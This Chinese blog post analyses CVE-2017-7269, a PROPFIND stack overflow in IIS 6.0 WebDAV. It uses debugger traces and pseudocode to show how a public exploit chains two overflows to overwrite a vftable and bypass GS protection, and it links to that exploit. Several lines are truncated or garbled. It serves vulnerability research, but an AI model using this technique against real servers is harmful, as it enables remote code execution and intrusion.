CVE20177269IIS60远程代码执行漏洞分析及Exploit

kOshl / 2017-04-01 15:13:34 / 浏览数 4191 安全技术 漏洞分析 顶(0) 踩(0)

感谢先知邀请,发表下我博客中关于CVE-2017-7269分析,我的ID是:k0shl 微博:我叫0day谁找我_希望师傅们能多多指点,感谢!

CVE-2017-7269 IIS6.0远程代码执行漏洞分析及Exploit

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前言

CVE-2017-7269是IIS

6.0中存在的一个栈溢出漏洞,在IIS6.0处理PROPFIND指令的时候,由于对url的长度没有进行有效的长度控制和检查,导致执行memcpy对虚拟路径进行构造的时候,引发

目前在github上有一个在windows server 2003 r2上稳定利用的exploit,这个exp目前执行的功能是弹计算器,使用的shellcode方法是alpha shellcode,这是由于url在内存中以宽字节形式存放,以及其中包含的一些badchar,导致无法直接使用shellcode执行代码,而需要先以alpha shellcode的方法,以ascii码形式以宽字节写入内存,然后再通过一小段解密之后执行代码。

github地址: https://github.com/edwardz246003/IIS_exploit

这个漏洞其实原理非常简单,但是其利用方法却非常有趣,我在入门的时候调试过很多stack

overflow及其exp,但多数都是通过覆盖ret,覆盖seh等方法完成的攻击,直到我见到了这个exploit,感觉非常艺术。但这个漏洞也存在其局限性,比如对于aslr来说似乎没server中利用似乎非常困难,windows server 2003 r2没有aslr保护。

在这篇文章中,我将首先简单介绍一下这个漏洞的利用情况;接着,我将和大家一起分析一下这个漏洞的形成原因;然后我将给大家详细介绍这个漏洞的利用,最后我将简单

我是一只菜鸟,如有不当之处,还望大家多多指正,感谢阅读!

弹弹弹 - - 一言不合就"弹"计算器

漏洞环境搭建

漏洞环境的搭建非常简单,我的环境是windows server 2003 r2

32位英文企业版,安装之后需要进入系统配置一下iis6.0,首先在登陆windows之后,选择配置服务器,安装iis6.0服务,之后进入iis6.0管理器,在管理器中,有一个windo

触发漏洞

漏洞触发非常简单,直接在本地执行python

exp.py即可,这里为了观察过程,我修改了exp,将其改成远程,我们通过wireshark抓包,可以看到和目标机的交互行为。

可以看到,攻击主机向目标机发送了一个PROPFIND数据包,这个是负责webdav处理的一个指令,其中包含了我们的攻击数据,一个<>包含了两个超长的httpurl请求,其url中间还有一个lock token的指令内容。

随后我们可以看到,在靶机执行了calc,其进程创建在w2wp进程下,用户组是NETWORK SERVICE。

我在最开始的时候以为这个calc是由于SW_HIDE的参数设置导致在后台运行,后来发现其实是由于webdav服务进程本身就是无窗口的,导致calc即使定义了SW_SHOWNC

事实上,这个漏洞及时没有后面的<>中的http url,单靠一个IF:<>也能够触发,而之所以加入了第二个<>以及lock token,是因为作者想利用第一次和第二次http请求来完成一次精妙的利用,最后在<lock token>指令下完成最后一击。

我尝试去掉第二次<>以及<lock token>请求,同样能引发iis服务的crash。

CVE-2017-7269漏洞分析

这个漏洞的成因是在WebDav服务动态链接库的httpext.dll的ScStorageFromUrl函数中,这里为了方便,我们直接来跟踪分析该函数,在下一小节内容,我将和大家来看看

在ScStorageFromUrl函数中,首先会调用ScStripAndCheckHttpPrefix函数,这个函数主要是获取头部信息进行检查以及对host name进行检查。

0:009> p// CchUrlPrefixW url url

eax=67113bc8 ebx=00fffbe8 ecx=00605740 edx=00fff4f8 esi=0060c648 edi=00605740 eip=671335f3 esp=00fff4b4 ebp=00fff4d0 iopl=0 nv up ei pl zr na pe nc cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246

```
httpext!ScStripAndCheckHttpPrefix+0x1e:
                 call dword ptr [eax+24h] ds:0023:67113bec={httpext!CEcbBaseImpl<IEcb>::CchUrlPrefixW (6712c72a)}
671335f3 ff5024
0:009 > p
eax=00000007 ebx=00fffbe8 ecx=00fff4cc edx=00fff4f8 esi=0060c648 edi=00605740
eip=671335f6 esp=00fff4b8 ebp=00fff4d0 iopl=0 nv up ei pl nz na po nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000
                                                         ef1=00000202
httpext!ScStripAndCheckHttpPrefix+0x21:
671335f6 8bd8
                    mov
                            ebx,eax
0:009> dc esi 16//esi
0060c648 00740068 00700074 002f003a 006c002f h.t.t.p.:././.1.
0060c658 0063006f 006c0061
                                          o.c.a.l.
在check完http头部和hostname之后,会调用wlen函数获取当前http url长度。
0:009 > p
eax=0060e7d0 ebx=0060b508 ecx=006058a8 edx=0060e7d0 esi=00605740 edi=00000000
eip=67126ce8 esp=00fff330 ebp=00fff798 iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000
                                                         ef1=00000246
httpext!ScStoragePathFromUrl+0x6d:
67126ce8 50
                     push
                            eax
0:009 > p
eax=0060e7d0 ebx=0060b508 ecx=006058a8 edx=0060e7d0 esi=00605740 edi=00000000
eip=67126ce9 esp=00fff32c ebp=00fff798 iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000
                                                         ef1=00000246
httpext!ScStoragePathFromUrl+0x6e:
67126ce9 ff1550121167 call dword ptr [httpext!_imp_wcslen (67111250)] ds:0023:67111250={msvcrt!wcslen (77bd8ef2)}
0:009> r eax
eax=0060e7d0
0:009> dc eax
0060e7d0 0062002f 00620062 00620062 00620062 /.b.b.b.b.b.b.b.
0060e7e0 61757948 6f674f43 48456b6f 67753646 HyuaCOgookEHF6ug
0060e7f0 38714433 5a625765 56615435 6a536952 3Dq8eWbZ5TaVRiSj
0060e800 384e5157 63555948 43644971 34686472 WQN8HYUcqIdCrdh4
0060e810 71794758 6b55336b 504f6d48 34717a46 XGyqk3UkHmOPFzq4
0060e820 74436f54 6f6f5956 34577341 7a726168 ToCtVYooAsW4harz
0060e830 4d493745 5448574e 367a4c38 62663572 E7IMNWHT8Lz6r5fb
0060e840 486d6e43 61773548 61744d5a 43654133 CnmHH5waZMta3AeC
q < 00000
eax=000002fd ebx=0060b508 ecx=00600000 edx=0060e7d0 esi=00605740 edi=00000000
eip=67126cef esp=00fff32c ebp=00fff798 iopl=0 nv up ei pl nz na po nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000
                                                        ef1=00000202
httpext!ScStoragePathFromUrl+0x74:
67126cef 59
                    pop ecx
0:009 > r eax
eax=000002fd
在利用的关键一次,我们获取的是poc中http://localhost/bbbbb的字符串,这个字符串长度很长,可以看到eax寄存器存放的是url长度,长度是0x2fd,随后会进入一系列
Breakpoint 1 hit
eax=0060e7d0 ebx=0060b508 ecx=006058a8 edx=0060e7d0 esi=00605740 edi=00000000
eip=67126cd7 esp=00ffff334 ebp=00fff798 iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246
httpext!ScStoragePathFromUrl+0x5c:
```

```
67126cd7 6683382f cmp word ptr [eax],2Fh ds:0023:0060e7d0=002f
0:009> dc eax
0060e7d0 0062002f 00620062 00620062 00620062 /.b.b.b.b.b.b.b.
0060e7e0 61757948 6f674f43 48456b6f 67753646 HyuaCOgookEHF6ug
```

经过一系列的检查之后,会进入一系列的memcpy函数,主要就是用来构造虚拟文件路径,这个地方拷贝的长度没有进行控制,而拷贝的目标地址,是在外层函数调用stack

ScStorageFromUrl函数中实际上在整个漏洞触发过程中会调用很多次,我们跟踪的这一次,是在漏洞利用中的一个关键环节之一。首先我们来看一下第一次有效的memcp;

```
0:009> p
eax=00000024 ebx=000002fd ecx=00000009 edx=00000024 esi=00000012 edi=680312c0
eip=67126fa9 esp=00fff330 ebp=00fff798 iopl=0 nv up ei pl nz na pe nc
                                                    ef1=00000206
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000
httpext!ScStoragePathFromUrl+0x32e:
67126fa9 8db5c4fbffff lea esi,[ebp-43Ch]
0:009 > p
```

```
eip=67126faf esp=00ffff330 ebp=00fff798 iopl=0 nv up ei pl nz na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000206
httpext!ScStoragePathFromUrl+0x334:
67126faf f3a5
             rep movs dword ptr es:[edi],dword ptr [esi]
0:009> r esi
esi=00fff35c
0:009> dc esi
00fff35c 003a0063 0069005c 0065006e 00700074 c.:.\.i.n.e.t.p.
00fff36c 00620075 0077005c 00770077 006f0072 u.b.\.w.w.w.r.o.
00fff37c 0074006f 0062005c 00620062 00620062 o.t.\.b.b.b.b.b.
00fff38c 00620062 61757948 6f674f43 48456b6f b.b.HyuaCOgookEH
这次memcpy拷贝过程中,会将esi寄存器中的值拷贝到edi寄存器中,可以看到edi寄存器的值是0x680312c0,这个值很有意思,在之前我提到过,这个buffer的值会在外原
这是个悬念,也是我觉得这个利用巧妙的地方,下面我们先进入后面的分析,在memcpy中,也就是rep
movs中ecx的值决定了memcpy的长度,第一次拷贝的长度是0x9。
接下来,回进入第二次拷贝,这次拷贝的长度就比较长了。
0:009> p//
eax=00000024 ebx=000002fd ecx=00000000 edx=00000000 esi=0060e7d0 edi=680312e4
eip=67126fc4 esp=00ffff330 ebp=00fff798 iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246
httpext!ScStoragePathFromUrl+0x349:
67126fc4 2bda
                    sub ebx,edx
0:009> r ebx
ebx=000002fd
0:009> r edx
edx=00000000
0:009> p
eax=00000024 ebx=000002fd ecx=00000000 edx=00000000 esi=0060e7d0 edi=680312e4
eip=67126fc6 esp=00ffff330 ebp=00fff798 iopl=0 nv up ei pl nz na po nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000202
httpext!ScStoragePathFromUrl+0x34b:
67126fc6 8d3456
                     lea
                          esi,[esi+edx*2]
0:009> p
eax=00000024 ebx=000002fd ecx=00000000 edx=00000000 esi=0060e7d0 edi=680312e4
eip=67126fc9 esp=00fff330 ebp=00fff798 iopl=0 nv up ei pl nz na po nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000
                                                       ef1=00000202
httpext!ScStoragePathFromUrl+0x34e:
67126fc9 8b95b0fbffff mov
                          edx,dword ptr [ebp-450h] ss:0023:00fff348=680312c0
0:009> p
eax=00000024 ebx=000002fd ecx=00000000 edx=680312c0 esi=0060e7d0 edi=680312e4
eip=67126fcf esp=00fff330 ebp=00fff798 iopl=0 nv up ei pl nz na po nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000
                                                  efl=00000202
httpext!ScStoragePathFromUrl+0x354:
67126fcf 8d3c10
                     lea edi,[eax+edx]
0:009> p/■ecx■■dword■
eax=00000024 ebx=000002fd ecx=00000000 edx=680312c0 esi=0060e7d0 edi=680312e4
eip=67126fd2 esp=00fff330 ebp=00fff798 iopl=0 nv up ei pl nz na po nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b qs=0000 efl=00000202
httpext!ScStoragePathFromUrl+0x357:
67126fd2 8d4c1b02
                    lea ecx.[ebx+ebx+2]
0:009 > p
eax=00000024 ebx=000002fd ecx=000005fc edx=680312c0 esi=0060e7d0 edi=680312e4
eip=67126fd6 esp=00fff330 ebp=00fff798 iopl=0 nv up ei pl nz na po nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000
                                                  ef1=00000202
httpext!ScStoragePathFromUrl+0x35b:
67126fd6 8bc1
                     mov
                          eax,ecx
0:009> p
eax=000005fc ebx=000002fd ecx=000005fc edx=680312c0 esi=0060e7d0 edi=680312e4
eip=67126fd8 esp=00fff330 ebp=00fff798 iopl=0 nv up ei pl nz na po nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000
                                                  efl=00000202
httpext!ScStoragePathFromUrl+0x35d:
67126fd8 cle902
                    shr
                          ecx,2
0:009> p/
eax=000005fc ebx=000002fd ecx=0000017f edx=680312c0 esi=0060e7d0 edi=680312e4
eip=67126fdb esp=00fff330 ebp=00fff798 iopl=0 nv up ei pl nz na po nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000
                                                     ef1=00000202
```

eax=00000024 ebx=000002fd ecx=00000009 edx=00000024 esi=00fff35c edi=680312c0

```
httpext!ScStoragePathFromUrl+0x360:
67126fdb f3a5
                     rep movs dword ptr es:[edi],dword ptr [esi]
可以看到,这次拷贝的长度是0x17f,长度非常大,而在整个分析的过程中,并没有对拷贝的长度进行控制,因此,可以拷贝任意超长的字符串,进入这个堆空间。
这个堆空间非常有意思,存放的是一个vftable,这个vftable会在ScStorageFromUrl函数中的某个内层函数调用调用到,还记得之前分析的ScStripAndCheckHttpPrefi函数
0:009> p//
eax=00ffff9a4 ebx=00fffbe8 ecx=00605740 edx=00fff4f8 esi=0060c648 edi=00605740
eip=671335e8 esp=00fff4b8 ebp=00fff4d0 iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000
                                                        ef1=00000246
httpext!ScStripAndCheckHttpPrefix+0x13:
                          eax,dword ptr [edi] ds:0023:00605740={httpext!CEcb::`vftable' (67113bc8)}
671335e8 8b07
                    mov
获取完虚表之后,会获取到对应的虚函数,在ScStripAndCheckHttpPrefix函数中call调用到。但是由于之前的memcpy覆盖,导致这个vftable被覆盖。
q < 00000
eax=680313c0 ebx=00fffbe8 ecx=680313c0 edx=00fff4f8 esi=0060e7b0 edi=680313c0
eip=671335f0 esp=00fff4b4 ebp=00fff4d0 iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000
                                                        ef1=00000246
httpext!ScStripAndCheckHttpPrefix+0x1b:
                           dword ptr [ebp-0Ch],edx ss:0023:00fff4c4=00000000
671335f0 8955f4
                    mov
0:009> p//eaxwrftable call [eax+24]
eax=680313c0 ebx=00fffbe8 ecx=680313c0 edx=00fff4f8 esi=0060e7b0 edi=680313c0
eip=671335f3 esp=00fff4b4 ebp=00fff4d0 iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000
httpext!ScStripAndCheckHttpPrefix+0x1e:
671335f3 ff5024
                    call dword ptr [eax+24h] ds:0023:680313e4=68016082
0:009> dc eax
680313c0 680313c0 68006e4f 68006e4f 766a4247 ...hOn.hOn.hGBjv
680313d0 680313c0 4f744257 52345947 4b424b66 ...hWBtoGY4RfKBK
这个漏洞的原理非常简单,在PROPFIND中,由于对http的长度没有进行检查,导致在memcpy中,可以拷贝超长的字符串,覆盖到栈中的关键位置,下面来看一下伪代码。
 _int32 __fastcall ScStoragePathFromUrl(const struct IEcb *al, wchar_t *a2, unsigned __int16 *a3, unsigned int *a4, struct CVF
v35 = a3;
v5 = a1;
Str = a2;
v37 = (int)a1;
v34 = a4;
v33 = a5;
result = ScStripAndCheckHttpPrefix(a1, (const unsigned __int16 **)&Str);//
if ( result < 0 )
return result;
if ( *Str != 47 )//
return -2146107135;
result = IEcbBase::ScReqMapUrlToPathEx(Str, WideCharStr);
v36 = result;
if ( result < 0 )
return result;
v8 = (*(int (__thiscall **)(const struct IEcb *, wchar_t **))(*(_DWORD *)v5 + 52))(v5, &Strl);//httpext!CEcbBaseImpl<IEcb>::Cc
if (v8 == v42)
if ( !v8 || Str[v8 - 1] && !__wcsnicmp(Str1, Str, v8) )
goto LABEL_14;
else if ( v8 + 1 == v42 )
v9 = Str[v8];
if ( v9 == 47 || !v9 )
```

--v42;

goto LABEL_14;

v36 = 1378295; LABEL 14:

if (v36 == 1378295 && a5)

```
{
v16 = v41;
if ( v41 )
v17 = (const unsigned __int16 *)((char *)&v39 + 2 * v41 + 2);
if ( *v17 == 92 )
while (v16 && *v17 == 92 && !FIsDriveTrailingChar(v17, v16))
v41 = --v16;
--v17;
}
else if ( !*v17 )
v16 = v41-- - 1;
v18 = v16 - v42 + v7 + 1;
v19 = *v34 < v18;
v37 = v16 - v42 + v7 + 1;
if ( v19 )
}
else//
v21 = v35;
v22 = v16;
v23 = 2 * v16;
v24 = (unsigned int)(2 * v16) >> 2;
qmemcpy(v35, WideCharStr, 4 * v24);//■■■■■
v26 = &WideCharStr[2 * v24];
v25 = &v21[2 * v24];
LOBYTE(v24) = v23;
v27 = v42;
qmemcpy(v25, v26, v24 & 3);
v28 = v7 - v27; // \blacksquare v7 \blacksquare 0x2fd \blacksquare \blacksquare \blacksquare \blacksquare v28 \blacksquare \blacksquare \blacksquare \blacksquare \blacksquare v27 \blacksquare 0
v29 = &Str[v27];
qmemcpy(&v35[v22], v29, 2 * v28 + 2);//
for ( i = &v30[v41]; *i; ++i )
if ( *i == 47 )
*i = 92;
*v34 = v37;
result = v36;
return result;
```

CVE-2017-7269 Exploit!精妙的漏洞利用

其实通过上面的分析,我们发现这个漏洞的原理非常简单,但是究竟如何利用呢,我们来看一下关于ScStorageFromUrl函数中,包含了GScheck,也就是说,我们在进行常规的覆盖ret方式利用的情况下,将会把cookie也会覆盖,导致利用失败。

```
.text:67127017 loc_67127017:
                                                       ; CODE XREF: ScStoragePathFromUrl(IEcb const &,ushort const *,ushort *,
.text:67127017
                                                       ; ScStoragePathFromUrl(IEcb const &,ushort const *,ushort *,uint *,CVRc
.text:67127017
                                       ecx, [ebp+var C]
                              mov
.text:6712701A
                                       edi
                              qoq
                                       large fs:0, ecx
.text:6712701B
                              mov
.text:67127022
                                       ecx, [ebp+var_10]
                              mov
.text:67127025
                                       esi
                              pop
.text:67127026
                               call
                                       @\_security_check_cookie@4 ; \_security_check_cookie(x)
.text:6712702B
                               leave
```

```
漏洞利用非常精妙,也就是用这种方法,巧妙的绕过了qs的检查,最后达到漏洞利用,稳定的代码执行,首先,WebDav对数据包的处理逻辑是在DAVxxx函数中完成的。比
0:009> kb
ChildEBP RetAddr Args to Child
00fff798 67119469 680312c0 00fff800 00000000 httpext!ScStoragePathFromUrl
00fff7ac 6712544a 0060e7b0 680312c0 00fff800 httpext!CMethUtil::ScStoragePathFromUrl+0x18
00fffc34 6712561e 0060b508 0060584e 00fffc78 httpext!HrCheckIfHeader+0x124
00fffc44 6711f659 0060b508 0060584e 00000001 httpext!HrCheckStateHeaders+0x10
00fffc78 6711f7c5 0060c010 00fffcd4 671404e2 httpext!CPropFindRequest::Execute+0xf0
00fffc90 671296f2 0060c010 00000004 01017af8 httpext!DAVPropFind+0x47
在内层的函数处理逻辑中,有一处关键的函数处理逻辑HrCheckIfHeader,主要负责DAVPropFind函数对头部的check,这个函数处理逻辑中有一处while循环,我已经把这
__int32 __stdcall HrCheckIfHeader(struct CMethUtil *a1, const unsigned __int16 *a2)
while (2)
v6 = IFITER::PszNextToken(&v20, 0);
if (v6)
CStackBuffer<unsigned short,260>::CStackBuffer<unsigned short,260>(260);
v9 = (const wchar_t *)(v7 + 2);
LOBYTE(v34) = 2;
v27 = \_wcslen(v9);
if ( !CStackBuffer<unsigned short,260>::resize(2 * v27 + 2) )
goto LABEL 35;
v5 = ScCanonicalizePrefixedURL(v9, v32, &v27);
if ( v5 )
goto LABEL 43;
v27 = v29 >> 3;
v5 = CMethUtil::ScStoragePathFromUrl(a1, v32, Str, &v27);
if (v5 == 1)
if ( !CStackBuffer<unsigned short,260>::resize(v27) )
{
LABEL 35:
LOBYTE(v34) = 1;
CStackBuffer<char,260>::release(&v31);
v5 = -2147024882;
goto LABEL 39;
}
v5 = CMethUtil::ScStoragePathFromUrl(a1, v32, Str, &v27);
}
if (v5 < 0)
{
LABEL 43:
LOBYTE(v34) = 1;
CStackBuffer<char,260>::release(&v31);
goto LABEL 39;
v10 = wcslen(Str);
v27 = v10;
v11 = &Str[v10 - 1];
if ( *v11 == 62 )
*v11 = 0;
v8 = Str;
LOBYTE(v34) = 1;
CStackBuffer<char,260>::release(&v31);
}
else
if ( !v25 )
goto LABEL 38;
v8 = (const unsigned __int16 *)v24;
}
v25 = 0;
for ( i = (wchar_t *)IFITER::PszNextToken(&v20, 2); ; i = (wchar_t *)IFITER::PszNextToken(&v20, v19) )
```

```
v17 = i;
if ( !i )
break;
v12 = *i;
if (*v17 == 60)
v13 = HrValidTokenExpression((int)a1, v17, (int)v8, 0);
else if ( v12 == 91 )
if ( !FGetLastModTime(0, v8, (struct _FILETIME *)&v23)
| | !FETagFromFiletime((int)&v23, &String, *((_DWORD *)a1 + 4)) )
LABEL 26:
if ( v22 )
goto LABEL 27;
goto LABEL_30;
v14 = v17 + 1;
if ( *v14 == 87 )
v14 += 2i
v15 = _wcslen(&String);
v13 = \_wcsncmp(\&String, v14, v15);
}
else
v13 = -2147467259;
}
if ( v13 )
goto LABEL_26;
if ( !v22 )
LABEL_27:
v26 = 1;
v19 = 3;
continue;
LABEL_30:
v26 = 0;
v19 = 4;
v2 = 0;
if ( v26 )
v6 = IFITER::PszNextToken(&v20, 1);
continue;
break;
如果看的比较迷糊,可以看我下面的描述,首先这个while函数中,有一个非常有意思的函数PszNextToken,这个函数会连续获取<>中的http
```

url,直到后面没有http url,则跳出循环,这也是这个漏洞利用的关键条件。

首先,第一次会处理IF后面的第一个http

url,这个url就是http://localhost/aaaa..,这个处理过程,实际上就完成了第一次溢出,首先stackbuffer会通过CStackBuffer函数获取,获取到之后,这个值会存放在stac url处理。长度是0xa7。

```
eax=00fff910 ebx=0060b508 ecx=00000410 edx=00000000 esi=0060c64a edi=77bd8ef2
eip=671253e2 esp=00ffff7bc ebp=00fffc34 iopl=0 nv up ei pl nz na po nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000
                                                            ef1=00000202
httpext!HrCheckIfHeader+0xbc:
                              edi {msvcrt!wcslen (77bd8ef2)}
671253e2 ffd7
0:009> dc 60c64a
0060c64a 00740068 00700074 002f003a 006c002f h.t.t.p.:././.1.
0060c65a 0063006f 006c0061 006f0068 00740073 o.c.a.l.h.o.s.t.
0060c66a 0061002f 00610061 00610061 00610061 /.a.a.a.a.a.a.a.
0060c67a 78636f68 71337761 47726936 4b777a39 hocxaw3q6irG9zwK
0:009> p
eax=000000a7
```

eax=00fff800 ebx=0060b508 ecx=0060b508 edx=00000104 esi=00000001 edi=77bd8ef2 eip=67125479 esp=00fff7b8 ebp=00fffc34 iopl=0 nv up ei pl nz na po nc

0:009 > p

```
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000
                                                        ef1=00000202
httpext!HrCheckIfHeader+0x153:
67125479 ffb5e4fdffff push dword ptr [ebp-21Ch] ss:0023:00fffa18=0060c828
0:009> p
eax=00fff800 ebx=0060b508 ecx=0060b508 edx=00000104 esi=00000001 edi=77bd8ef2
eip=6712547f esp=00ffff7b4 ebp=00fffc34 iopl=0 nv up ei pl nz na po nc
                                                        ef1=00000202
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000
httpext!HrCheckIfHeader+0x159:
6712547f e8cd3fffff call httpext!CMethUtil::ScStoragePathFromUrl (67119451)
0:009> dd ebp-328
00fff90c 00fff804 6711205b 00000013 00fff9c0
00fff91c 671287e7 00000000 000000f0 00000013
可以看到,第一次ScStoragePathFromUrl的时候,拷贝的地址是一个栈地址,通过stackbuffer申请到的,但是由于memcpy引发的栈溢出,导致这个地方值会被覆盖。
0:009> g//
Breakpoint 0 hit
eax=00fff800 ebx=0060b508 ecx=00605740 edx=0060c828 esi=00000001 edi=77bd8ef2
eip=67126c7b esp=00fff79c ebp=00fff7ac iopl=0 nv up ei pl nz na po nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000
                                                         ef1=00000202
httpext!ScStoragePathFromUrl:
67126c7b b8150d1467 mov eax,offset httpext!swscanf+0x14b5 (67140d15)
0:009> g
Breakpoint 3 hit
eax=00000000 ebx=0060b508 ecx=00002f06 edx=00fff804 esi=00000001 edi=77bd8ef2
eip=67125484 esp=00fff7c0 ebp=00fffc34 iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246
httpext!HrCheckIfHeader+0x15e:
67125484 8bf0
             mov
0:009> dc fff804
00fff804 003a0063 0069005c 0065006e 00700074 c.:.\.i.n.e.t.p.
00fff814 00620075 0077005c 00770077 006f0072 u.b.\.w.w.w.r.o.
00fff824 0074006f 0061005c 00610061 00610061 o.t.\.a.a.a.a.a.
00fff834 00610061 78636f68 71337761 47726936 a.a.hocxaw3q6irG
00fff844 4b777a39 75534f70 48687a4f 6d545663 9zwKpOSuOzhHcVTm
00fff854 39536845 5567506c 33646763 78454630 EhS9lPgUcgd30FEx
00fff864 54316952 6a514c58 42317241 58507035 RilTXLQjAr1B5pPX
00fff874 6c473664 546a3539 54435034 50617752 d6Gl95jT4PCTRwaP
0:009> dd fff900
00fff900 5a306272 54485938 02020202 680312c0
经过这次stack buffer overflow,这个值已经被覆盖,覆盖成了一个堆地址0x680312c0。接下来进入第二次调用。
0:009 > p
eax=00fff910 ebx=0060b508 ecx=00000410 edx=00000000 esi=0060d32a edi=77bd8ef2
eip=671253e2 esp=00ffff7bc ebp=00fffc34 iopl=0 nv up ei pl nz na po nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000
                                                        ef1=00000202
httpext!HrCheckIfHeader+0xbc:
671253e2 ffd7 call edi {msvcrt!wcslen (77bd8ef2)}
0:009> dc 60d32a
0060d32a 00740068 00700074 002f003a 006c002f h.t.t.p.:././.l.
0060d33a 0063006f 006c0061 006f0068 00740073 o.c.a.l.h.o.s.t.
0060d34a 0062002f 00620062 00620062 00620062 /.b.b.b.b.b.b.b.
q < 00000
eax=0000030d
第二次获得http://localhost/bbbbb...的长度,这个长度有0x30d,非常长,但是对应保存的位置变了。
0:009> p
eax=00fff800 ebx=0060b508 ecx=00fff800 edx=000002fe esi=00000000 edi=77bd8ef2
eip=67125436 esp=00fff7c0 ebp=00fffc34 iopl=0 nv up ei pl nz na po nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000
                                                        efl=00000202
```

httpext!HrCheckIfHeader+0x110:

push

eax

67125436 50

```
0:009 > p
eax=00fff800 ebx=0060b508 ecx=00fff800 edx=000002fe esi=00000000 edi=77bd8ef2
eip=67125437 esp=00fff7bc ebp=00fffc34 iopl=0 nv up ei pl nz na po nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000
                                                          ef1=00000202
httpext!HrCheckIfHeader+0x111:
                            dword ptr [ebp-328h] ss:0023:00fff90c=680312c0
67125437 ffb5d8fcffff push
0:0.09 > dc ebp-3.28
00fff90c 680312c0 52566c44 6c6d4b37 585a4f58 ...hDlVR7KmlXOZX
00fff91c 496a7950 4a52584f 664d4150 680313c0 PvitOXRJPAMf...h
00fff92c 65314834 6e666f43 436c7441 680313c0 4HleCofnAtlC...h
00fff93c 6a415343 33307052 424c5866 6346704b CSAjRp03fXLBKpFc
0:009> dd 680312c0
680312c0 00000000 00000000 00000000 00000000
680312d0 00000000 00000000 00000000 00000000
680312e0 00000000 00000000 00000000 00000000
可以看到,第二次利用的时候,会把ebp-328这个地方的值推入栈中,这个地方应该是stack
buffer的地址,应该是个栈地址,但是现在变成了堆地址,就是由于第一次栈溢出,覆盖了这个变量。
而这个值,会作为参数传入ScStorageFromUrl函数,作为memcpy拷贝的值。
这也就解释了为什么我们在上面分析漏洞的时候,会是向堆地址拷贝,而这一次拷贝,就不需要控制长度了,因为这个地方的值已经是堆地址,再怎么覆盖,也不会覆盖到c
在PoC中,有一处<locktoken>,这个会触发漏洞利用,是在CheckIfHeader之后到达位置,在CheckIfHeader的PszToken函数判断没有<>的http
url之后, break掉, 之后进入lock token处理。
0:009> p
eax=67140d15 ebx=00fffbe8 ecx=680313c0 edx=0060e7b0 esi=00fffc28 edi=00000104
eip=67126c80 esp=00fff940 ebp=00fff950 iopl=0 nv up ei pl nz na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000
                                                          efl=00000206
httpext!ScStoragePathFromUrl+0x5:
67126c80 e803100000 call httpext!_EH_prolog (67127c88)
0:009> kb
ChildEBP RetAddr Args to Child
00fff93c 67119469 00fffab4 00fff9a4 00000000 httpext!ScStoragePathFromUrl+0x5
00fff950 67125740 0060e7b0 00fffab4 00fff9a4 httpext!CMethUtil::ScStoragePathFromUrl+0x18
00fffbd0 664d4150 680313c0 65314834 6e666f43 httpext!CParseLockTokenHeader::HrGetLockIdForPath
+0x119
WARNING: Frame IP not in any known module. Following frames may be wrong.
00fffc3c 6711f68e 0060b508 0060584e 80000000 0x664d4150
00fffc78 6711f7c5 0060c010 00fffcd4 671404e2 httpext!CPropFindRequest::Execute+0x125
```

这时候对应的IEcb已经被覆盖,这样,在进入ScStoragePathFromUrl函数之后,会进入我们在漏洞分析部分提到的CheckPrefixUrl函数,这个函数中有大量的IEcb虚表虚图

```
0:009> p
eax=680313c0 ebx=00fffbe8 ecx=680313c0 edx=00fff4f8 esi=0060e7b0 edi=680313c0
eip=671335f3 esp=00fff4b4 ebp=00fff4d0 iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246
httpext!ScStripAndCheckHttpPrefix+0xle:
671335f3 ff5024 call dword ptr [eax+24h] ds:0023:680313e4=68016082
0:009> dc eax
680313c0 680313c0 68006e4f 68006e4f 766a4247 ...hon.hon.hGBjv
680313d0 680313c0 4f744257 52345947 4b424b66 ...hWBtoGY4RfKBK
```

和大家分享了这个精妙利用,一般可能都会觉得是第二次url bbbbb的这个memcpy覆盖了关键函数导致的溢出、利用,实际上,在第一次url aaaaaa中,就已经引发了栈溢出,覆盖到了stackbuffer申请的指向栈buffer的指针,这个指针存放在栈里,用于后续调用存放虚拟路径,由于第一次栈溢出,覆盖到了这个bbbbb拷贝的时候,是向一个堆地址拷贝,这个堆地址后面的偏移中,存放着IEcb的vftable,通过覆盖虚表虚函数,在最后locktoken触发的ScStoragePathFromUrl中利所

而这个过程,也是巧妙的绕过了GS的检查。

简析ROP及shellcode

这个漏洞使用了一些非常有意思的手法,一个是TK教主在13年安全会议上提到的shareduserdata,在ROP中,另一个是alpha shellcode。

